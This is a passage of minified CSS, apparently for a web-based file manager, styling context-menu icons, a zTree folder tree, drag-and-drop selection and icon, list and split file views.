\9;}.context-menu-list .context-menu-item .context-menu-accesskey{text-decoration:underline;}.context-menu-list .context-menu-item .line-top{border-top:1px solid #ddd !important;}.font-icon.icon-home,.x-tree-self{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -496px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;margin-right:0px;filter:none;-ms-filter:none;}.font-icon.icon-home:before,.x-tree-self:before{content:"" !important;}.font-icon.icon-circle-arrow-up{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -496px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;margin-right:0px;}.font-icon.icon-circle-arrow-up:before{content:"" !important;}.x-tree-fav.small{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -773px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;margin-right:0px;}.x-tree-fav.small:before{content:"" !important;}.frame-right #search .font-icon.icon-search{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -736px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;margin-right:0px;margin-top:4px;}.frame-right #search .font-icon.icon-search:before{content:"" !important;}.context-menu-list .font-icon:before{color:#249dff;background-image:-webkit-linear-gradient(2deg,#249dff,#08558a);background-clip:text;text-fill-color:transparent;-webkit-text-fill-color:transparent;-webkit-background-clip:text;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{opacity:0.3;filter:alpha(opacity=30);}.context-menu-list .context-menu-item.search .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 0px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.search .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.open .font-icon,.context-menu-list .context-menu-item.open-the-path .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -16px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.open .font-icon:before,.context-menu-list .context-menu-item.open-the-path .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.upload .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -48px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.upload .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.down .font-icon,.context-menu-list .context-menu-item.download .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -48px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.down .font-icon:before,.context-menu-list .context-menu-item.download .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.cute .font-icon,.context-menu-list .context-menu-item.cute-to .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -80px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.cute .font-icon:before,.context-menu-list .context-menu-item.cute-to .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.copy .font-icon,.context-menu-list .context-menu-item.copy-to .font-icon,.context-menu-list .context-menu-item.copy-see .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -96px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.copy .font-icon:before,.context-menu-list .context-menu-item.copy-to .font-icon:before,.context-menu-list .context-menu-item.copy-see .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.newfolder .icon-folder-close-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -16px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.newfolder .icon-folder-close-alt:before{content:"" !important;}.context-menu-list .context-menu-item.newfile .icon-expand-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.newfile .icon-expand-alt:before{content:"" !important;}.context-menu-list .context-menu-item.rname .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -64px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.rname .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.past .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -64px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.past .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.remove .font-icon,.context-menu-list .context-menu-item.fav-remove .font-icon,.context-menu-list .context-menu-item .close .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -80px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.remove .font-icon:before,.context-menu-list .context-menu-item.fav-remove .font-icon:before,.context-menu-list .context-menu-item .close .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.zip .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.zip .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.unzip .icon-folder-open-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.unzip .icon-folder-open-alt:before{content:"" !important;}.context-menu-list .context-menu-item.share .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-15px -703px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.share .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.open-text .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:1px -702px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.open-text .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.setBackground .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -609px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.setBackground .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.fav .font-icon,.context-menu-list .context-menu-item.fav-page .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -773px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.fav .font-icon:before,.context-menu-list .context-menu-item.fav-page .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.set-file-icon-size .font-icon.icon-picture,.context-menu-list .context-menu-item.setting-wall .font-icon.icon-picture{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0px -577px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.set-file-icon-size .font-icon.icon-picture:before,.context-menu-list .context-menu-item.setting-wall .font-icon.icon-picture:before{content:"" !important;}.context-menu-list .context-menu-item.sort-by .font-icon.icon-sort{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -528px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.sort-by .font-icon.icon-sort:before{content:"" !important;}.context-menu-list .context-menu-item.list-icon .font-icon.icon-eye-open{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:1px -625px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.list-icon .font-icon.icon-eye-open:before{content:"" !important;}.context-menu-list .context-menu-item.file-select-all > .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0px -545px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.file-select-all > .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.file-select-clear > .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -546px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.file-select-clear > .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.file-select-reverse > .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -593px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.file-select-reverse > .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item .font-icon.icon-code-fork{display:inline-block;background-image:url("../../../images/file_icon/icon_app/history.png");width:16px !important;background-repeat:no-repeat;background-size:100% 100%;}.context-menu-list .context-menu-item .font-icon.icon-code-fork:before{content:"" !important;}.context-menu-list .context-menu-item .font-icon.icon-info{color:#fff !important;background:#c4e5ff;text-align:center;width:15px;border-radius:50%;height:15px;line-height:15px;margin-right:15px;box-shadow:0 0 0 1px #6db9f5;}.ztree{margin:0px;padding:10px 0px;font-size:1em;}.ztree li{padding:0;margin:0;list-style:none;text-align:left;white-space:nowrap;outline:0;}.ztree li ul{margin:0;padding:0;}.ztree li.level0{margin-bottom:4px;}.ztree li.level0>span.tree_icon{width:20px;}.ztree li span{line-height:24px;}.ztree li span.button{line-height:0;margin:0;display:inline-block;vertical-align:middle;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;height:24px;width:20px;margin-right:5px;}.ztree li span.button.switch{width:25px;height:25px;margin-right:0px;background:none;text-align:center;line-height:25px;}.ztree li span.button.switch:hover{background:rgba(0,0,0,0.03);}.ztree li span.button.switch:after{content:"\f0da";font-family:FontAwesome;color:#aaa;text-decoration:inherit;font-size:1.25em;line-height:16px;padding-left:6px;-webkit-font-smoothing:antialiased;}.ztree li span.button.switch.noline_docu:after{content:' ';}.ztree li span.button.switch.noline_open:after,.ztree li span.button.switch.noline_open_hover:after{content:"\f0d7";}.ztree li span.button.switch.switch_hover:after{color:#63acff;}.ztree li span.button.ico_loading{background:url("../../../images/common/loading_tree.gif") no-repeat 0 0px transparent !important;}.ztree li span.button.ico_loading .x-item-file{display:none;}.ztree li span.tree_icon{height:21px;width:21px;background:none;overflow:hidden;}.ztree li span.tree_icon img{width:100%;max-width:100%;max-height:100%;}.ztree li a{padding-top:0px;cursor:pointer;text-decoration:none;display:block;margin:0;color:#333;vertical-align:top;line-height:24px;height:24px;padding-left:10px;border:1px solid #fff;position:relative;}.ztree li a:hover{text-decoration:none;-webkit-transition:all 0.1s;-moz-transition:all 0.1s;-o-transition:all 0.1s;-ms-transition:all 0.1s;transition:all 0.1s;background:#eee;height:24px;border:1px solid #eee;}.ztree li a.curSelectedNode,.ztree li a.curDropTreeNode{border:1px solid #63acff;background:#63acff;line-height:24px;height:24px;color:#fff;}.ztree li a.curSelectedNode .button.switch:after,.ztree li a.curDropTreeNode .button.switch:after{color:#fff !important;}.ztree li a.curDropTreeNode{box-shadow:0 0 0 1px #fff inset !important;}.ztree li a.curSelectedNode_Edit{border:1px solid #63acff;background:#63acff;color:black;height:24px;}.ztree li a input.rename{height:24px;line-height:24px;padding:0;margin:0;border:none;outline:none;margin-left:-3px;padding-left:3px;width:106px;position:absolute;margin-top:0;}.ztree li a span.button.root_docu,.ztree li a span.button.noline_docu{background:none;}.ztree li a .menu-item{display:none;position:absolute;right:4px;top:4px;width:14px;height:13px;box-sizing:content-box;text-align:center;border:1px solid #ccc;background:#fff;border-radius:2px;cursor:pointer;z-index:50;}.ztree li a .menu-item:hover{border-color:#3399ff;background:#dff1ff;box-shadow:0 0 5px rgba(0,0,0,0.1);}.ztree li a .menu-item:hover .cert{border-top-color:#3399ff;}.ztree li a .menu-item .cert{margin-top:5px;margin-left:3px;width:0;height:0;border-left:4px solid transparent;border-right:4px solid transparent;border-top:5px solid silver;}.ztree li a:hover .menu-item,.ztree li a.curSelectedNode .menu-item{display:block;}ul.ztree.zTreeDragUL{margin:0;padding:0;position:absolute;width:auto;height:auto;background-color:#63acff;border:1px solid #63acff;opacity:0.5;filter:alpha(opacity=50);}ul.ztree.zTreeDragUL li a span.space{display:none !important;}ul.ztree.zTreeDragUL li a{padding:4px 10px 0 10px;color:#fff;}ul.ztree.zTreeDragUL li span.button.switch{display:none;}.ztree li a.tmpTargetNode_inner{background:#0076fc;border:1px solid #3091ff;color:#fff;}.ztree li a.tmpTargetNode_prev{border-bottom:1px solid #f96;}.ztree li a.tmpTargetNode_next{border-bottom:1px solid #f96;}span.tmpzTreeMove_arrow{display:inline-block;margin:4px 0 0 2px;position:absolute;border-color:transparent transparent transparent #fff;border-style:solid;border-width:7px 0px 7px 7px;width:0;height:0;_border-top-color:white;_border-bottom-color:white;_filter:chroma(color=white);}.frame-left .ztree li .file{line-height:0;margin:0;display:inline-block;vertical-align:middle;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;height:22px;width:18px;margin-right:5px;}.select-container{position:absolute;cursor:default;width:0px;height:0px;border:1px solid #005ec9;background-color:#63acff;z-index:1000;opacity:0.5;filter:alpha(opacity=50);}.select-container:hover{cursor:default;}.file-draging{position:absolute;left:0;top:0px;z-index:1000;pointer-events:none;opacity:0.95;}.file-draging.file-list-icon,.file-draging.file-list-list,.file-draging.file-list-split{z-index:1000;overflow:visible;}.file-draging.file-list-icon div.file,.file-draging.file-list-list div.file,.file-draging.file-list-split div.file{clear:both;position:absolute;margin:0;transition:none !important;}.file-draging.file-list-icon div.file.handle_target,.file-draging.file-list-list div.file.handle_target,.file-draging.file-list-split div.file.handle_target{z-index:999;}.draggable-dragging{z-index:9999;clear:both !important;pointer-events:none;position:absolute !important;padding:5px;opacity:0.9;filter:alpha(opacity=90);background:#4285f4;border-radius:3px;color:#fff;box-shadow:3px 5px 15px rgba(0,0,0,0.2);font-size:1.15em;}.draggable-dragging .drag-number{display:none;}.draggable-dragging#drag-action-clear{box-shadow:none;color:#333;background:#def;}.draggable-dragging span{line-height:25px;padding-left:5px;padding-right:15px;}.draggable-dragging span .font-icon{display:inline-block;width:22px;height:22px;text-align:center;line-height:22px;color:#fff;font-size:1.0em;font-weight:800;margin-right:10px;border-radius:12px;}.draggable-dragging span .bg-default{background:#b9e0ff;color:#4285f4;}.draggable-dragging span .bg-ok{background:#6ee273;}.draggable-dragging span .bg-error{background:#FB2500;}.draggable-dragging span b{padding-right:15px;}.item-file-draging{opacity:0.5;filter:alpha(opacity=50);}.selectDragDraging .file-list-icon .file-select-drag-temp{transform:scale(1.1,1.1);}.file-continer{margin-bottom:40px;}.file-continer .file .filename .title.db-click-rename{cursor:text;}.file-continer .file .item-menu{display:none;position:absolute;right:4px;top:4px;width:14px;height:14px;box-sizing:content-box;text-align:center;border:1px solid #ddd;background:#fff;cursor:pointer;z-index:50;border-radius:2px;}.file-continer .file .item-menu:hover{border-color:#3399ff;background:#dff1ff;box-shadow:0 0 5px rgba(0,0,0,0.1);}.file-continer .file .item-menu:hover .cert{border-top-color:#3399ff;}.file-continer .file .item-menu .cert{margin-top:5px;margin-left:3px;width:0;height:0;border-left:4px solid transparent;border-right:4px solid transparent;border-top:5px solid silver;}.file-continer .file .item-select{display:none;position:absolute;right:4px;top:4px;width:14px;height:14px;box-sizing:content-box;text-align:center;border:1px solid #ddd;background:#fff;cursor:pointer;z-index:50;border-radius:2px;padding:2px;left:5px;border-radius:50%;background:rgba(0,0,0,0.05);border:none;color:#fff;}.file-continer .file .item-select:hover{border-color:#3399ff;background:#dff1ff;box-shadow:0 0 5px rgba(0,0,0,0.1);}.file-continer .file .item-select:hover .cert{border-top-color:#3399ff;}.file-continer .file .item-select .cert{margin-top:5px;margin-left:3px;width:0;height:0;border-left:4px solid transparent;border-right:4px solid transparent;border-top:5px solid silver;}.file-continer .file .item-select:hover{color:#fff;background:rgba(0,0,0,0.2);box-shadow:none;}.file-continer .file .item-select .item-check{font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;font-size:18px;font-size:12px;text-shadow:none;}.file-continer .file .item-select .item-check:after{content:"\f00c";position:relative;top:-1px;}.file-continer .file.hover .item-menu,.file-continer .file.select .item-menu,.file-continer .file.file-select-drag-temp .item-menu{display:block;}.file-continer .file.hover .item-select,.file-continer .file.select .item-select,.file-continer .file.file-select-drag-temp .item-select{display:block;}.file-continer .file.select .item-select{color:#fff;background:#3b8cff;}.file-continer.file-list-split .file .item-menu{top:3px;right:25px;}.file-continer.file-list-split .file .item-select{top:2px;right:45px;left:auto;}.file-continer.file-list-list .file .item-menu{top:4px;right:5px;}.file-continer.file-list-list .file .item-select{top:4px;right:25px;left:auto;}.file-list-icon{padding:10px 20px 0 10px;display:flex;justify-content:space-between;flex-wrap:wrap;align-items:flex-start;}.file-list-icon:after{width:82px;content:"";display:block;}.file-list-icon .flex-empty{width:75px;border:1px solid transparent;margin:0;margin-right:10px;margin-bottom:10px;visibility:hidden;height:0 !important;}.file-list-icon .meta-info{height:22.5px;width:22.5px;margin-right:6.75px;margin-top:-22.5px;position:absolute;right:0;}.file-list-icon .meta-info img{width:100%;height:100%;}.file-list-icon .file{color:#335;border:1px solid transparent;box-shadow:0px 0px 2px rgba(255,255,255,0);-webkit-transition:background 0.2s, border 0.2s, color 0.2s;-moz-transition:background 0.2s, border 0.2s, color 0.2s;-o-transition:background 0.2s, border 0.2s, color 0.2s;-ms-transition:background 0.2s, border 0.2s, color 0.2s;transition:background 0.2s, border 0.2s, color 0.2s;width:60px;height:75px;text-decoration:none;margin:0;margin-right:10px;margin-bottom:10px;overflow:hidden;float:left;}.file-list-icon .file .ico{-webkit-transition:all 0.168s;-moz-transition:all 0.168s;-o-transition:all 0.168s;-ms-transition:all 0.168s;transition:all 0.168s;}.file-list-icon .file.hover{border:1px solid #dedede;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fafafa', endColorstr='#eeeeee');background-image:-webkit-linear-gradient(top,#fafafa,#eeeeee);background-image:-moz-linear-gradient(top,#fafafa,#eeeeee);background-image:-o-linear-gradient(top,#fafafa,#eeeeee);background-image:-ms-linear-gradient(top,#fafafa,#eeeeee);background-image:linear-gradient(top,#fafafa,#eeeeee);-pie-background:linear-gradient(to top,#fafafa,#eeeeee);border-radius:3px;}.file-list-icon .file .filename{width:60px;cursor:default;text-align:center;word-break:break-all;font-size:1.0em;margin:0 auto;line-height:1.5em;padding-bottom:5px;display:-webkit-box;-webkit-box-orient:vertical;-webkit-line-clamp:3;}.file-list-icon .file .filename .textarea{position:absolute;font-size:1.0em;text-align:center;margin-left:-1px;margin-top:-3px;}.file-list-icon .file .filename #pathRenameTextarea,.file-list-icon .file .filename .newfile{width:60px;padding:0px 0 4px 0;margin-top:0px;overflow-y:hidden;border:1px solid #888;font-size:1.0em;text-align:center;line-height:1.5em;position:absolute;z-index:999;margin-top:2px;border-bottom-left-radius:3px;border-bottom-right-radius:3px;}.file-list-icon .file .filename #pathRenameTextarea:focus,.file-list-icon .file .filename .newfile:focus{outline:none;}.file-list-icon .file.select,.file-list-icon .file.file-select-drag-temp{border:1px solid #d2d2d2;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f3f3f3', endColorstr='#d9d9d9');background-image:-webkit-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-moz-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-o-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-ms-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:linear-gradient(top,#f3f3f3,#d9d9d9);-pie-background:linear-gradient(to top,#f3f3f3,#d9d9d9);border-radius:3px;padding:0px;}.file-list-icon .file.file-icon-edit{overflow:visible;}.file-list-icon .file.file-icon-edit .filename{position:absolute;z-index:99;}.file-list-icon .file .ico{height:60px;width:60px;padding-top:4px;text-align:center;vertical-align:middle;display:table-cell;}.file-list-icon .file .ico img{height:100% \9;max-height:100%;max-width:100%;border-radius:5px;}.file-list-icon .file .ico.picture{background:none;width:50px;padding-left:5px;}.file-list-icon .file .ico.picture img{-webkit-box-shadow:1px 1px 5px rgba(0,0,0,0.2);-moz-box-shadow:1px 1px 5px rgba(0,0,0,0.2);box-shadow:1px 1px 5px rgba(0,0,0,0.2);width:100% \9;max-width:100%;border-radius:0px;position:relative;top:50%;transform:translateY(-50%);}.file-list-icon .file .ico.picture img.lazyload-ready{-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;}@media screen and (max-width:100000px){div.file-list-icon div.file{ display:inline-block;max-height:152px;vertical-align:top;float:none;height:auto;}}.context-menu-item.set-file-icon-size .box-size-smallx{font-size:0.9em;}.context-menu-item.set-file-icon-size .box-size-small{font-size:1.0em;}.context-menu-item.set-file-icon-size .box-size-default{font-size:1.15em;}.context-menu-item.set-file-icon-size .box-size-big{font-size:1.25em;}.context-menu-item.set-file-icon-size .box-size-bigx{font-size:1.35em;}#list-type-header{z-index:5;position:absolute;width:100%;top:85px;}#main-title{background:#fff;border-bottom:1px solid #e3e3e3;box-shadow:0 2px 10px rgba(0,0,0,0.06);}#main-title .box-shadow(1px 2px 15px #dde) - div{cursor:pointer;overflow:hidden;}#main-title div span{float:right;margin-right:8px;margin-top:0px;}#main-title .filename,#main-title .filesize,#main-title .filetype,#main-title .filetime{float:left;cursor:pointer;overflow:hidden;line-height:25px;height:25px;border-right:1px solid #eee;padding-left:10px;margin-left:-10px;font-size:1.0em;color:#448;}#main-title .filename:hover,#main-title .filesize:hover,#main-title .filetype:hover,#main-title .filetime:hover{background:#eee;}#main-title .resize{float:left;width:20px;cursor:col-resize;margin-left:-10px;height:25px;z-index:9999;position:relative;}#main-title .current{background:rgba(0,0,0,0.8);}#main-title .filename{width:250px;padding-left:20px;margin-left:0px;}#main-title .filetype{width:80px;}#main-title .filesize{width:80px;text-align:right;padding-left:0px;padding-right:10px;}#main-title .filetime{width:150px;padding-right:6px;}#main-title .filesize span{margin-right:0px;}#main-title .this{font-weight:800;background:#eee;}.file-list-list,.file-list-split{padding-top:5px;z-index:0;padding-left:10px;}.file-list-list .file,.file-list-split .file{color:#335;border:1px solid transparent;box-shadow:0px 0px 2px rgba(255,255,255,0);margin-left:0;-webkit-transition:background 0.2s, border 0.2s, color 0.2s;-moz-transition:background 0.2s, border 0.2s, color 0.2s;-o-transition:background 0.2s, border 0.2s, color 0.2s;-ms-transition:background 0.2s, border 0.2s, color 0.2s;transition:background 0.2s, border 0.2s, color 0.2s;height:25px;}.file-list-list .file .ico,.file-list-split .file .ico{-webkit-transition:all 0.168s;-moz-transition:all 0.168s;-o-transition:all 0.168s;-ms-transition:all 0.168s;transition:all 0.168s;}.file-list-list .file2,.file-list-split .file2{background:#edf5ff;}.file-list-list .hover,.file-list-split .hover{border:1px solid #dedede;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fafafa', endColorstr='#eeeeee');background-image:-webkit-linear-gradient(top,#fafafa,#eeeeee);background-image:-moz-linear-gradient(top,#fafafa,#eeeeee);background-image:-o-linear-gradient(top,#fafafa,#eeeeee);background-image:-ms-linear-gradient(top,#fafafa,#eeeeee);background-image:linear-gradient(top,#fafafa,#eeeeee);-pie-background:linear-gradient(to top,#fafafa,#eeeeee);border-radius:3px;}.file-list-list .select,.file-list-list .file-select-drag-temp,.file-list-split .select,.file-list-split .file-select-drag-temp{border:1px solid #d2d2d2;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f3f3f3', endColorstr='#d9d9d9');background-image:-webkit-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-moz-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-o-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-ms-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:linear-gradient(top,#f3f3f3,#d9d9d9);-pie-background:linear-gradient(to top,#f3f3f3,#d9d9d9);border-radius:3px;padding:0px;}.file-list-list .select .children-more i.font-icon,.file-list-list .file-select-drag-temp .children-more i.font-icon,.file-list-split .select .children-more i.font-icon,.file-list-split .file-select-drag-temp .children-more i.font-icon{color:#63acff !important;}.file-list-list .meta-info,.file-list-split .meta-info{display:inline-block;width:15px;height:15px;padding:0;position:relative;top:6px;margin:0px 0 0 -15px;}.file-list-list .meta-info img,.file-list-split .meta-info img{width:100%;height:100%;}.file-list-list .file,.file-list-split .file{width:80%;overflow:hidden;height:27px;}.file-list-list .file .ico,.file-list-list .file .filename,.file-list-list .file .filetype,.file-list-list .file .filesize,.file-list-list .file .filetime,.file-list-list .file .children-more,.file-list-split .file .ico,.file-list-split .file .filename,.file-list-split .file .filetype,.file-list-split .file .filesize,.file-list-split .file .filetime,.file-list-split .file .children-more{float:left;line-height:28px;height:28px;font-size:1.0em;cursor:default;overflow:hidden;padding-left:15px;}.file-list-list .file .children-more,.file-list-split .file .children-more{width:20px;height:28px;text-align:center;padding-left:0px;}.file-list-list .file .children-more i.font-icon,.file-list-split .file .children-more i.font-icon{font-size:15px;color:#aaa;cursor:pointer;display:inline-block;width:20px;line-height:28px;height:28px;font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;}.file-list-list .file .children-more i.font-icon::after,.file-list-split .file .children-more i.font-icon::after{content:"\f0da";}.file-list-list .file .children-more i.font-icon.cert-open::after,.file-list-split .file .children-more i.font-icon.cert-open::after{content:"\f0d7";}.file-list-list .file .children-more i.font-icon:hover,.file-list-split .file .children-more i.font-icon:hover{background:rgba(0,0,0,0.05);color:#63acff;}.file-list-list .file.loading-children .ico .x-item-file,.file-list-split .file.loading-children .ico .x-item-file{background:url("../../../images/common/loading_tree.gif") no-repeat 0 0px transparent !important;}.file-list-list .file .filetype,.file-list-split .file .filetype{width:90px;}.file-list-list .file .filesize,.file-list-split .file .filesize{width:90px;text-align:right;padding-left:0px;padding-right:10px;}.file-list-list .file .filetime,.file-list-split .file .filetime{width:200px;}.file-list-list .file .filename,.file-list-split .file .filename{width:240px;padding-left:0px;white-space:nowrap;text-overflow:ellipsis;}.file-list-list .file .filename .textarea,.file-list-split .file .filename .textarea{font-size:1.0em;display:inline-block;margin-left:-2px;}.file-list-list .file .filename #pathRenameTextarea,.file-list-list .file .filename .newfile,.file-list-split .file .filename #pathRenameTextarea,.file-list-split .file .filename .newfile{height:24px;line-height:24px;z-index:999;width:200px;min-width:150px;border:none;font-size:1.0em;padding-left:2px;padding-top:2px;}.file-list-list .file .filename #pathRenameTextarea:focus,.file-list-list .file .filename .newfile:focus,.file-list-split .file .filename #pathRenameTextarea:focus,.file-list-split .file .filename .newfile:focus{outline:none;}.file-list-list .file .filename .title,.file-list-split .file .filename .title{word-break:break-all;}.file-list-list .file .ico,.file-list-split .file .ico{height:20px;width:20px;padding:0px;line-height:20px;margin-right:4px;margin-top:4px;text-align:center;vertical-align:bottom;display:table-cell;}.file-list-list .file .ico img,.file-list-split .file .ico img{height:100% \9;max-height:100%;max-width:100%;}.file-list-list .file .filename .textarea{position:absolute;}.line-split-box{position:absolute;bottom:0px;right:0px;left:0px;top:0px;margin-top:0;overflow:hidden;}.line-split-box .split-line{border-right:1px solid #e6e6e6;border-right:1px solid rgba(150,150,150,0.15);width:250px;float:left;height:100%;}.file-list-split{overflow:hidden;}.file-list-split .file{width:97.5%;height:24px;margin-left:0.7%;position:relative;}.file-list-split .file.file2{background:none;}.file-list-split .file .ico,.file-list-split .file .filename,.file-list-split .file .filetype,.file-list-split .file .filesize,.file-list-split .file .filetime,.file-list-split .file .children-open{line-height:22px;height:22px;}.file-list-split .file .ico{margin-left:5px;margin-top:3px;}.file-list-split .file .filename{width:100%;}.file-list-split .file .filename span.title{position:absolute;overflow:hidden;}.file-list-split .file .filename #pathRenameTextarea,.file-list-split .file .filename .newfile{height:23px;line-height:23px;}.file-list-split .file .filename .title .textarea{margin-top:-2px;}.file-list-split .file .children-open{width:20px;height:28px;text-align:center;padding-left:0px;background:rgba(255,255,255,0.4);position:absolute;right:0;}.file-list-split .file .children-open i.font-icon{font-size:1.25em;color:#aaa;display:inline-block;width:20px;line-height:28px;height:28px;font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;-webkit-font-smoothing:antialiased;}.file-list-split .file .children-open i.font-icon::before{content:"\f0da";line-height:24px;}.file-list-split .file.select-split-parent{background:#e3f0ff;border:1px solid #c9e2ff;}.file-list-split .file.select-split-parent .children-open i.font-icon::before{content:"\f101";font-size:20px;}.file-list-split .split-box{border-right:1px solid #e6e6e6;border-right:1px solid rgba(150,150,150,0.15);width:250px;overflow:hidden;position:absolute;bottom:0px;left:0px;top:0px;border-bottom:5px solid transparent;}.file-list-split .split-box .content{overflow:auto;height:100%;margin:2px 0px 10px 0px;}.file-list-split .split-box.split-hover{background:#eef7ff;background:rgba(0,0,0,0.01);box-shadow:0 0 100px #eef7ff inset;border-bottom:5px solid #acd9ff;}.file-list-split .split-box.split-select{background:#dff0ff;background:rgba(0,0,0,0.01);box-shadow:0 0 40px #dff0ff inset;margin-left:-1px;border-left:1px solid #eee;border-color:#acd9ff;border-bottom:5px solid #2196F3;}.file-list-split .is-drag-split .split-drag{background:rgba(100,100,100,0.2);}.file-list-split .split-drag{position:absolute;top:0px;right:0px;bottom:0px;width:4px;cursor:col-resize;z-index:55;background:url("../../../images/common/resize.png") 2px 50% no-repeat;}.file-list-split 